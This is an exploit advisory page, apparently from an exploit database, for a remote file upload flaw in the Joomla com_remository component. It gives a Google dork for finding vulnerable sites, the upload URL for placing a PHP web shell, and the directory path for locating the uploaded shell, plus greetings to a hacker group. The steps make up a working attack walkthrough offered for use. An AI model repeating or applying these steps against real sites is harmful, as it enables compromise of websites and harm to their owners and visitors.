Joomla com_remository Remote Upload File

2017.01.03

K33P-S1L3NT (ID)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:"index.php?com_remository"

################# E X P L O I T ###################

http://www.Target.com/index.php?option=com_remository&Itemid=[Itemid]&func=addfile

Add your php file , example : shell.php

http://www.Target.com/components/com_remository_files/ <= Directory Folder 

If web server alowe to see directory you can see folder example : file_image_1

You can find your shell in lates file_image_[latest Number]

Example URL : http://www.example.com/components/com_remository_files/file_image_1/12761347shell.php

Grets : Overload Team  |  Admiral  |  i.am_geek  |  MR.LEGEND  |  1!0N7!N  | s1pUT  |  zbyte  | Badaki  | Indonesia People

References:

https://www.facebook.com/loading.gov

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla com_remository Remote Upload File

Dork: inurl:"index.php?com_remository"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.